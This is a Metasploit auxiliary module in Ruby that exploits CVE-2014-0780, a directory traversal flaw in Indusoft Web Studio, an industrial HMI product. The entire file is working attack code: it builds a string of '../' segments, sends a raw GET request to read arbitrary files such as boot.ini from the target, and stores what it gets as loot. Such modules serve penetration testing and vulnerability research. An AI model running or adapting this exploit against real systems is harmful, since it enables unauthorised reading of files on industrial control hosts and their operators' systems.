Indusoft Web Studio Directory Traversal

require 'msf/core'

class MetasploitModule < Msf::Auxiliary
    Rank = GreatRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
'Name'           => 'Indusoft Web Studio Directory Traversal',
'Description'    => %q{
                This module exploits a flaw found in Indusoft Web Studio
<= 7.1 before SP2 Patch 4. This specific flaw allows users
                to browse outside of the webroot to download files found
                on the underlying system
            },
'Author'         => [ 'James Fitts' ],
'License'        => MSF_LICENSE,
'Version'        => '$Revision: $',
'References'     =>
                [
                    [ 'CVE', '2014-0780' ],
                    [ 'ZDI', '14-118/' ],
                    [ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-14-107-02']
                ],
'DisclosureDate' => 'Jan 18 2013'))

        register_options(
            [
                OptInt.new('DEPTH', [ false, 'Levels to reach base directory', 8]),
                OptString.new('FILE', [ false, 'This is the file to download', 'boot.ini']),
                Opt::RPORT(80)
            ], self.class )
    end

    def run

    depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
    levels = "/" + ("../" * depth)

    res = send_request_raw({
'method'    => 'GET',
'uri'       => "/" + levels + datastore['FILE'],
    })

    if res and res.code == 200 and res.message =~ /Sending file/
        loot = res.body
        if not loot or loot.empty?
            print_status("File from #{rhost}:#{rport} is empty...")
            return
        end
        file = ::File.basename(datastore['FILE'])
        path = store_loot('indusoft.webstudio.file', 'application/octet-stream', rhost, loot, file, datastore['FILE'])
        print_status("Stored #{datastore['FILE']} to #{path}")
        return
    end

    end
end